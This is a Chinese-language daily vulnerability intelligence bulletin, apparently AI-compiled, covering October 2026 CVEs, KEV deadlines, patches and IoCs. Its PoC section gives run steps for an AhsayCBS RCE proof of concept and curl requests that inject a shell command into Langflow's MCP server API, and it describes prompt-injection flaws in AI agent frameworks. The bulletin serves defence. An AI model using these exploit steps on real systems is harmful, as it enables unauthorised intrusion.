每日安全情报报告 · 2026-10-16

每日安全情报报告

由 AI 整理发布

本期覆盖 2026-10-14 ~ 2026-10-16 近 24--48 小时内新增/升级的高危漏洞、在野利用（KEV）及安全研究动态。风险级别图例：🔴 严重（多在野）、🟠 高危、🟡 需关注。今日为 Ivanti CVE-2026-104935 的 CISA KEV 整改截止日，明日（10-17）为 Cisco、Palo Alto、AhsayCBS 三项在野漏洞的联邦整改截止日，请优先处置。

---

一、最新高危漏洞

🔴 CVE-2026-0322 --- Palo Alto PAN-OS 管理接口代码注入导致 root RCE

• 漏洞类型：CWE-94 代码注入，位于 PAN-OS 管理接口
• 受影响组件：PAN-OS（PA-Series / VM-Series 防火墙、Panorama 虚拟及 M-Series）
• CVSS：8.6（High，CVSS 4.0）
• 在野状态 ：🔥 Palo Alto 确认存在非常有限的在野利用 （limited exploitation），CISA 已于 10-14 加入 KEV，联邦整改截止 2026-10-17
• 利用条件：需已认证的高权限账号 + 管理接口网络可达；云版本 Cloud NGFW / Prisma Access 不受影响
• 修复：12.2.4 / 12.1.10-h2 / 11.1.16-h3 / 10.2.18-h12 等多条分支修复版本；无已知规避方案
• IoC：Palo Alto 公布关联 IP：66.42.72.14、208.83.239.114、149.248.47.234
• 参考 ：BleepingComputer 报道 ｜ CybersecurityNews 分析 ｜ CISA KEV 列表

🔴 CVE-2026-105133 + CVE-2026-105134 --- AhsayCBS 认证绕过 + 命令注入（链式 RCE）

• 漏洞类型 ：认证绕过（CVE-2026-105133，影响 checkSysPwd）→ 命令注入（CVE-2026-105134，Replication Receiver 路径遍历写 JSP）
• 受影响组件：AhsayCBS 备份管理平台 ≤ 10.3.4
• CVSS ：CVE-2026-105134 10.0（Critical）/ CVE-2026-105133 5.5
• 在野状态 ：🔥 CISA KEV 在野利用 （10-14 加入），Huntress 自 10-07 起监测至少 5 家组织遭链式攻击，落地 JSP webshell + XMRig 挖矿（伪装 Edge 进程），以 NT AUTHORITY\SYSTEM 权限执行；联邦整改截止 2026-10-17
• 公开 PoC ：Horizon3.ai 已于 10-14 发布公开 PoC 仓库
• 参考 ：Horizon3.ai 技术分析 ｜ CISA KEV 列表 ｜ Huntress 披露

🔴 CVE-2026-105740 --- Langflow 经 MCP stdio 命令注入导致认证用户 RCE

• 漏洞类型 ：用户可控 command 字段直接传入 bash -c "exec {command}"，无校验/沙箱；env 字段可注入 LD_PRELOAD 等
• 受影响组件 ：Langflow（IBM/DataStax）< 1.9.0
• CVSS：9.9（Critical）
• 在野状态 ：🔥 已在野利用 。Previdian 蜜罐自 9-19 起记录 1,423 次利用尝试、27 个来源 IP（中/俄/美/越等 15 国），10-11 起激增（单日 333 次），10-15 当日 66 次；攻击者常以弱口令登录后利用
• 修复 ：升级至 1.9.0 或更高；临时缓解：关闭 auto_login、强口令、限制 /api/v2/mcp/servers/ 暴露
• 参考 ：The Hacker News 报道 ｜ Langflow 官方公告 ｜ Previdian 分析

🟠 CVE-2026-61447 / CVE-2026-61445 --- PraisonAI 智能体框架未沙箱代码执行

• 漏洞类型：LLM 生成代码未隔离执行 + 环境变量泄露（CVE-2026-61447）；提示注入导致任意写/执行（CVE-2026-61445）
• 受影响组件 ：praisonaiagents ≤ 1.6.77 / praisonai ≤ 4.6.77（PyPI）
• CVSS ：CVE-2026-61447 10.0 / CVE-2026-61445 9.9
• 修复：分别升级 ≥ 1.6.78 / ≥ 4.6.78；隔离智能体主机、避免将 agent 暴露公网
• 参考 ：GitHub Advisory GHSA-2xv2-w8cq-5gxw ｜ GitHub Advisory GHSA-9mp3-24cc-77mg

🟠 CVE-2026-65162 --- NVIDIA AIStore 遗留 ETL PodSpec 初始化 API 注入

• 漏洞类型：CWE-269/78，远程攻击者可控 Kubernetes host-namespace（hostNetwork/hostPID/hostIPC）与容器安全上下文（privileged、capabilities），实现容器逃逸至宿主机
• 受影响组件：NVIDIA AIStore for Linux（legacy ETL Kubernetes PodSpec 初始化 API）
• CVSS：10.0（Critical，CNA）
• 修复：应用 NVIDIA 安全更新；非必需时禁用 legacy ETL 初始化 API，限制内网访问
• 参考 ：NVIDIA 产品安全公告 ｜ VulDB 条目 ｜ NVD 详情

🟠 CVE-2026-94603 --- Podman 镜像注解绕过沙箱（CVSS 10.0）

• 漏洞类型 ：CWE-693，podman run 遇镜像携带 io.podman.annotations.checkpoint.runtime.name 注解时按 checkpoint 恢复，完全忽略 用户传入的 --cap-drop=ALL、seccomp、SELinux/AppArmor 等限制（此为 2022 年合并、2023 年随 4.4.0 发布的功能，2026 年才被逆向发现）
• 受影响组件 ：Podman 4.4.0 -- 5.8.7 及 6.1.2（rootless 模式不受影响）
• CVSS：10.0（Critical）
• 修复 ：升级至 5.8.8 / 6.1.3（提交 f4401567 的 revert）
• 参考 ：GitHub Advisory GHSA-2cvf-wqm6-wr9g ｜ al-ice.ai 深度分析

🟠 Adobe 2026 年 10 月补丁潮（11 公告 / 174 CVE，多 CVSS 10.0）

• 概况：Adobe 10-13 发布 11 个安全公告，覆盖 174 个 CVE，其中三款高价值产品含 CVSS 10.0 严重漏洞：
• ColdFusion（APSB26-144，32 严重）：未授权文件上传（CVE-2026-105899，10.0）、SSRF（CVE-2026-106622，10.0）、代码注入（CVE-2026-106624，9.8）------典型面向公网预认证 RCE 画像
• Experience Manager（APSB26-152，33 CVE）：未授权网络可达代码执行（CVE-2026-90532，10.0）、OS 命令注入/SQLi/XXE/路径遍历
• Commerce（APSB26-153，11 严重）：未授权模板注入（CVE-2026-103849，10.0）、B2B 授权缺陷（CVE-2026-92909，9.8）
• 在野状态：Adobe 声明发布时尚未发现上述漏洞在野利用；部署优先级 2（ColdFusion/AEM/Commerce）
• 参考 ：Zero Day Initiative 月度回顾 ｜ BlackTree 落地指南

🟠 其他近 48 小时高危漏洞

• fast-jwt CVE-2026-107722 （CVSS 9.8）：算法混淆补丁不完整（RSA 当 HMAC 用），升级 ≥ 6.3.0 ｜ 参考
• Argo CD CVE-2026-55797 （CVSS 8.8）：SSH 代理主机 → repo-server shell 注入，补丁 3.3.15+ ｜ 参考
• .NET / MsQuic (Windows) CVE-2026-105016（CVSS 9.8）：未授权 IPv6 QUIC/HTTP3 RCE，应用 serviced update 并升级 MsQuic
• MoviePilot CVE-2026-77931 （CVSS 8.8）：AI 助手工具 execute_command 的 confirm_dangerous 可由模型自设，提示注入 → 主机命令执行（≤ 3.1.5）｜ 参考
• IntentKit CVE-2026-76066 （CVSS 7.5）：隐藏工具仍可被未授权调用方命名调用（≤ 2.6.3）｜ 参考同上

🟡 Microsoft 2026 年 10 月补丁日（创纪录 1,413+ 漏洞）

• 概况 ：本月补丁日修复 1,413 （一说 1,415）个漏洞，含 59 个潜在蠕虫级 漏洞；仅 1 个 在野：Windows Shell CVE-2026-96951 （CVSS 8.8，绕过 Mark-of-the-Web 安全特性，已在野，CISA KEV，联邦整改截止 2026-10-16 今日）
• 其他关键：SharePoint 提权 CVE-2026-102866（8.1，未授权签名校验绕过）、SQL Server RCE CVE-2026-65674（8.8 反序列化）、Exchange RCE CVE-2026-70571（技术可蠕虫）
• 建议：企业优先部署 10 月 Windows 安全更新，重点处理 CVE-2026-96951
• 参考 ：Microsoft 安全更新指南 ｜ NetSecOps 分析

🔴 持续在野 / KEV 重点（整改窗口临近，需延续处置）

• Cisco Secure Email Gateway CVE-2026-76519 （CVSS 9.8，🔥 活跃攻击）：升级 AsyncOS 至 15.5.5-014 / 16.5.0-780，KEV 截止 10-17 ｜ Cisco 公告
• Ivanti Connect Secure CVE-2026-104935 （CVSS 8.6，🔥 KEV）：升级至 25.1.1.2 / 25.1.3.0 / 22.8R2.5；提权环节仍无补丁，需内存取证排查（完整性检查器可能漏检），KEV 截止 10-16 今日 ｜ CISA 警报 ｜ Volexity 报告
• Nextcloud Collabora CVE-2026-110447 （Web Shell RCE，后门化服务器案例）：升级 Collabora 至 26.4.303 或移除应用 ｜ THN 报道
• Bricksforge WordPress 插件 CVE-2026-85097 （CVSS 10.0，🔥 在野）：升级插件 ｜ THN 报道

---

二、最新漏洞 PoC

说明：下列条目区分「PoC 利用 」（公开可利用仓库 / 文档化利用方法）与「检测/版本核查」（在野重点漏洞，暂无公开武器化脚本，提供排查/版本核查步骤）。

PoC 利用（公开可利用仓库 / 文档化利用方法）

1. AhsayCBS CVE-2026-105133 + CVE-2026-105134（🔥 KEV，CVSS 10.0）

• 仓库 ：horizon3ai/AhsayCBS-Auth-Bypass-RCE
• 类型：链式认证绕过 + 路径遍历写 JSP → 未授权 RCE（NT AUTHORITY\SYSTEM）
• 使用步骤 ：
  bash git clone https://github.com/horizon3ai/AhsayCBS-Auth-Bypass-RCE.git cd AhsayCBS-Auth-Bypass-RCE pip install requests # 仅检测是否脆弱（不改动目标） python3 ahsay_rce_poc.py --url https://target-ahsay.example.com --check # 通过 Replication 执行命令（回显 id） python3 ahsay_rce_poc.py --url https://target-ahsay.example.com --replication --cmd id
• 注意：仅用于授权测试；该漏洞已在野，外网暴露的 AhsayCBS ≤ 10.3.4 应优先升级并排查失陷。

2. Langflow CVE-2026-105740（🔥 在野，CVSS 9.9，1,423 次尝试）

• 类型 ：认证用户经 MCP stdio 传输注入命令 → RCE（无需专用工具，HTTP 请求即可复现）
• 利用方法（文档化，授权测试用） ：
  bash # 1. 普通账号登录后，添加恶意 MCP server（命令直接进 bash -c） curl -X POST 'https://target-langflow/api/v2/mcp/servers/evil' \ -H 'Authorization: Bearer <TOKEN>' -H 'Content-Type: application/json' \ -d '{"command":"bash -c \"exec id > /tmp/pwn.txt\"","transport":"stdio"}' # 2. 拉取 server 列表触发命令执行 curl -X GET 'https://target-langflow/api/v2/mcp/servers?action_count=true' \ -H 'Authorization: Bearer <TOKEN>'
• 注意 ：仅用于授权测试；该漏洞已在野，外网暴露实例应优先升级到 1.9.0+ 并关闭 auto_login、审查 /api/v2/mcp/servers/ 访问日志。
• 参考 ：The Hacker News 报道 ｜ Langflow 官方公告

检测 / 版本核查（在野/KEV 重点，暂无公开武器化 PoC）

3. Palo Alto PAN-OS CVE-2026-0322（🔥 在野，CVSS 8.6）

• 版本核查：确认设备 PAN-OS 是否低于修复版本（12.2.4 / 12.1.10-h2 / 11.1.16-h3 / 11.2.x 多 hotfix / 10.2.18-h12 等）
• 缓解与排查：限制管理接口仅可信内网 IP（jump box）；审查异常登录/配置变更；比对 IoC IP（66.42.72.14、208.83.239.114、149.248.47.234）；有 Threat Prevention 订阅可启用 Threat ID 510046/510047（需 SSL 解密）
• 参考 ：BleepingComputer 报道 ｜ Palo Alto 安全公告

4. Cisco Secure Email Gateway CVE-2026-76519（🔥 活跃攻击，CVSS 9.8，截止 10-17）

• 版本核查：升级 AsyncOS 至 15.5.5-014 或 16.5.0-780（Secure Email and Web Manager 15.5.5-006 / 16.5.0-429）
• 失陷排查：检查异常文件写入、非常规 root 进程及对外连接；比对 Cisco 公告中的 IoC
• 参考 ：Cisco 安全公告 ｜ CISA KEV 列表

5. Ivanti Connect Secure CVE-2026-104935（🔥 KEV，截止 10-16 今日）

• 版本核查：升级至 Ivanti 列出的修复版本（25.1.1.2 / 25.1.3.0 / 22.8R2.5，依分支而定）
• 失陷排查 ：因攻击在内存中执行并清除日志，完整性检查器（ICT）可能漏检；需网络+内存取证，监控 /dana-na/auth/url_default/welcome.cgi 带异常 X-DSCGI-PATH 的重复请求、/tmp/ 异常文件
• 参考 ：CISA 警报 ｜ Volexity 技术报告

6. Adobe ColdFusion / AEM / Commerce（APSB26-144 / 152 / 153，多 CVSS 10.0）

• 版本核查 ：
  bash # ColdFusion: 升级至 2025.0.14 或 2023.0.26 # AEM Cloud Service: 升级至 2026.9.28386；6.5 LTS SP3 应用对应 hotfix # Commerce: 应用最新 security-only 补丁（含 CVE-2026-75650 9 月热修）
• 参考 ：Zero Day Initiative 月度回顾 ｜ Adobe 安全公告总览

7. Podman CVE-2026-94603（CVSS 10.0）

• 版本核查 ：
  bash podman --version # 4.4.0 - 5.8.7 / 6.1.2 受影响，请升级至 5.8.8 或 6.1.3
• 参考 ：GitHub Advisory GHSA-2cvf-wqm6-wr9g

8. NVIDIA AIStore CVE-2026-65162（CVSS 10.0）

• 版本核查：升级 NVIDIA AIStore for Linux 至含修复的版本；非必需时禁用 legacy ETL PodSpec 初始化 API，限制内网访问并收紧 Kubernetes RBAC
• 参考 ：NVIDIA 产品安全公告 ｜ VulDB 条目

9. PraisonAI CVE-2026-61447 / CVE-2026-61445（CVSS 10.0 / 9.9）

• 版本核查 ：
  bash pip show praisonaiagents # ≤ 1.6.77 受影响 → 升级 ≥ 1.6.78 pip show praisonai # ≤ 4.6.77 受影响 → 升级 ≥ 4.6.78
• 参考 ：GitHub Advisory GHSA-2xv2-w8cq-5gxw ｜ GitHub Advisory GHSA-9mp3-24cc-77mg

---

三、网络安全最新文章

1. Palo Alto 警告 PAN-OS 0-day 在攻击中被利用（CVE-2026-0322）

2. 摘要：管理接口代码注入漏洞获"非常有限"在野利用，可让已认证高权限攻击者以 root 在防火墙执行代码，CISA 已加入 KEV。

3. 来源：BleepingComputer ｜ CybersecurityNews

4. AhsayCBS 认证绕过 + 命令注入被在野利用，公开 PoC 发布（CVE-2026-105133 / 105134）

5. 摘要：链式漏洞落地 JSP webshell 与 XMRig 挖矿，Horizon3.ai 公开 PoC，CISA 加入 KEV，整改截止 10-17。

6. 来源：Horizon3.ai 技术分析 ｜ CISA KEV 列表

7. Langflow 认证 RCE 遭 1,423 次蜜罐利用尝试（CVE-2026-105740）

8. 摘要：经 MCP stdio 的命令注入在野利用激增，27 个来源 IP 跨 15 国，攻击者在登录后注入反向 shell。

9. 来源：The Hacker News ｜ Previdian 分析

10. Adobe 10 月补丁日修复 174 个 CVE，ColdFusion/AEM/Commerce 含 CVSS 10.0

11. 摘要：ColdFusion 呈典型预认证 RCE 画像（文件上传/代码注入/SSRF），AEM 含 OS 命令注入与 XXE，Commerce 含未授权模板注入。

12. 来源：Zero Day Initiative ｜ BlackTree 落地指南

13. Podman 镜像注解沙箱绕过（CVE-2026-94603，CVSS 10.0）

14. 摘要：一个 OCI 注解即可让 podman run 忽略全部沙箱限制，该"功能"源自 2022 年、2026 年才被 AI 辅助发现，修复为 revert。

15. 来源：al-ice.ai 分析 ｜ GitHub Advisory

16. NVIDIA AIStore 遗留 API PodSpec 注入（CVE-2026-65162，CVSS 10.0）

17. 摘要：远程攻击者可注入 hostNetwork/hostPID/privileged 等，实现容器逃逸至宿主机，影响 AI 训练基础设施。

18. 来源：VulDB 条目 ｜ NVIDIA 产品安全

19. Microsoft 创纪录 10 月补丁日：1,413+ 漏洞，Windows Shell 在野（CVE-2026-96951）

20. 摘要：本月修复量创新高，59 个潜在蠕虫级漏洞，仅 CVE-2026-96951 在野（绕过 MotW），KEV 截止 10-16。

21. 来源：NetSecOps 分析 ｜ Microsoft 安全更新指南

22. AI 智能体框架漏洞潮：PraisonAI / MoviePilot / IntentKit

23. 摘要：多款 AI agent 框架出现提示注入 → 主机命令执行或工具越权调用缺陷，暴露 MCP/agent 集成命令执行面的威胁建模滞后。

24. 来源：yisusvii Security Thursdays ｜ al-ice.ai：MoviePilot/IntentKit

---

部分内容由 AI 辅助生成